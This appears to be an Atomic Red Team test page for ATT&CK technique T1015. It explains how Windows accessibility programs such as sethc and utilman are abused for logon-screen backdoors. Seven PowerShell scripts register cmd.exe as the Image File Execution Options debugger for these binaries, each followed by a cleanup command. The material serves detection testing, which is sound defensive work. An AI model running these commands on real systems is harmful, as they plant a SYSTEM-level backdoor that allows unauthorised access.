Skip to content

Latest commit

 

History

History
317 lines (217 loc) · 11.1 KB

T1015.md

File metadata and controls

317 lines (217 loc) · 11.1 KB

T1015 - Accessibility Features

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

  • On-Screen Keyboard: C:\Windows\System32\osk.exe
  • Magnifier: C:\Windows\System32\Magnify.exe
  • Narrator: C:\Windows\System32\Narrator.exe
  • Display Switcher: C:\Windows\System32\DisplaySwitch.exe
  • App Switcher: C:\Windows\System32\AtBroker.exe

Atomic Tests


Atomic Test #1 - Attaches Command Prompt As Debugger To Process - osk

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String osk.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /f


Atomic Test #2 - Attaches Command Prompt As Debugger To Process - sethc

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String sethc.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f


Atomic Test #3 - Attaches Command Prompt As Debugger To Process - utilman

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String utilman.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /f


Atomic Test #4 - Attaches Command Prompt As Debugger To Process - magnify

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String magnify.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /f


Atomic Test #5 - Attaches Command Prompt As Debugger To Process - narrator

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String narrator.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /v Debugger /f


Atomic Test #6 - Attaches Command Prompt As Debugger To Process - DisplaySwitch

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String DisplaySwitch.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe" /v Debugger /f


Atomic Test #7 - Attaches Command Prompt As Debugger To Process - AtBroker

This allows adversaries to execute the attached process

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
target_executable File You Want To Attach cmd To String atbroker.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atbroker.exe"
$Value = "C:\windows\system32\cmd.exe"
$Name = "Debugger"
IF(!(Test-Path $registryPath))
 {
  New-Item -Path $registryPath -Force | Out-Null
  New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
 }
ELSE
 {
  New-ItemProperty -Path $registryPath -Name $name -Value $Value
 }

Cleanup Commands:

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atbroker.exe" /v Debugger /f